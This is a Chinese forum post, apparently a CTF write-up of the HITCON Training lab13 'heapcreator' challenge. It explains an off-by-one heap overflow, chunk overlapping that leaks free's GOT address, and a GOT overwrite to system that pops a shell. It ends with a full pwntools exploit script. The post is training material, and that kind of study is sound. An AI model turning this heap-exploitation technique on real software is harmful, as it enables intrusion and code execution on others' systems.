首页
论坛
课程
招聘
[原创]HITCON Trainging lab13 heapcreator
2018-10-3 10:43 3740

[原创]HITCON Trainging lab13 heapcreator

2018-10-3 10:43
3740
一开始先看程序打开哪些保护机制
可以改got表,并且有点要注意是没开PIE,这样就不必泄露函数地址计算基址了(如果开了,这题堆上没有存放函数指针的,我也不会泄露。。)
然后分析程序,挖漏洞
首先从建堆函数看数据结构
结构分析清楚了,就找漏洞。首先我习惯看free函数O(∩_∩)O
可惜,指针已经清零了
再看看edit函数
根据数据结构,可以看到是向data中写入len_of_data+1长度的数据,因此存在off by one漏洞!!!
这里我选择溢出overlapping覆盖size,实现fastbin extend

思路如下:
1、我的目标是system('/bin/sh'),因此我需要修改某个函数的got表指向system。那就free吧。
2、那么我就要泄露出free_got中在内存中的真实地址。
3、通过修改某个ptr的指针,自然利用show(),打印出free_got地址。
4、怎么修改呢?就用上述所说的chunk extend技术,修改size,重新分配一个大Chunk,然后对后面的Prt肆意修改。
5、泄露之后,就直接利用edit改就行了。
6、最后就是free一个含有bin/sh的堆就行了。

看具体exp吧
第一步:泄露free_got
create(0x18,'aaaa')#0
create(0x10,'bbbb')#1
create(0x10,'cccc')#2
create(0x10,'/bin/sh')#3
edit(0,'a'*0x18+'\x81')#注意这个0x18
delete(1)
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])#这里的size涉及到后面修改地址时需要多长的字节
create(0x70,payload)#1

show(2)
cn.recvuntil('Content : ')
free_addr = u64(cn.recvuntil('Done')[:-5].ljust(8,'\x00'))
success('free_addr = '+str(hex(free_addr)))
首先必须要解释下为什么是0x18,这里涉及到chunk的知识。一个chunk在被free掉之后存在bins中,其头部含有prev_size和size没错,但一旦malloc后,这个prev_size就没用了,它只用来记录前一个空闲块的大小。因此如果我malloc0x18个字节的话多出8个字节没有对齐,会将这个prev_size也当做data段的部分分配出去,而不是下一个堆了!!!
然后呢,我要覆盖掉chunk1和chunk2的话根据结构体,我需要create 0x70个字节,加上头部就是0x81了,注意in_use位!然后计算距离chunk2的size字段需要多少数据,填充就行
这是create完四个chunk后的正常的堆的分布
这是edit(0)之后的堆分布,可以看到size位已经被该为0x81了
现在再看,已经成功将chunk2的Ptr改为free_got了
此时free_got的正常地址为0x7efc15fe44f0
能够正常泄露
第二步:修改free_got
system_addr = free_addr + lib.symbols['system']-lib.symbols['free']
success('system_addr = '+str(hex(system_addr)))

edit(2,p64(system_addr))
首先要计算system_addr的地址,通过libc两个函数之间的相对偏移固定的原理,利用已经泄露的free_addr得到system_addr
由于此时chunk2的ptr已经修改为free_got了,编辑chunk2就相当于改free_got了

修改后再看,发现成功篡改free_got了,如无意外就能成功了。

最后一步:
delete(3)
cn.interactive()

下面贴出完整exp
#!/usr/bin/env python
from pwn import *
#cn = remote('127.0.0.1',9527)
cn = process('./heapcreator')
elf=ELF('./heapcreator')
#context.log_level='debug'
lib = ELF('libc.so.6')

def create(l,value):
	cn.recvuntil('Your choice :')
	cn.sendline('1')
	cn.recvuntil('Size of Heap : ')
	cn.sendline(str(int(l)))
	cn.recvuntil('Content of heap:')
	cn.sendline(value)

def edit(index,value):
	cn.recvuntil('Your choice :')
	cn.sendline('2')
	cn.recvuntil('Index :')
	#if index == 2:gdb.attach(cn)
	cn.sendline(str(index))
	cn.recvuntil('Content of heap : ')
	cn.sendline(value)
def show(index):
	cn.recvuntil('Your choice :')
	gdb.attach(cn)
	cn.sendline('3')
	cn.recvuntil('Index :')
	cn.sendline(str(index))
def delete(index):
	cn.recvuntil('Your choice :')
	cn.sendline('4')
	cn.recvuntil('Index :')
	cn.sendline(str(index))
#leak free addr
create(0x18,'aaaa')#0
create(0x10,'bbbb')#1
create(0x10,'cccc')#2
create(0x10,'/bin/sh')#3
gdb.attach(cn)
edit(0,'a'*0x18+'\x81')
gdb.attach(cn)
delete(1)
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)#1

show(2)
cn.recvuntil('Content : ')
free_addr = u64(cn.recvuntil('Done')[:-5].ljust(8,'\x00'))
success('free_addr = '+str(hex(free_addr)))
#trim free_got
system_addr = free_addr + lib.symbols['system']-lib.symbols['free']
success('system_addr = '+str(hex(system_addr)))
#gdb.attach(cn)
edit(2,p64(system_addr))
#gdb.attach(cn)
show(2)
delete(3)
cn.interactive()
欢饮大家交流讨论,给我指出问题。。

[公告]看雪技术峰会,技术大牛大型线下交流见面会,2020年10月23日 上海浦东喜来登由由大酒店!

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回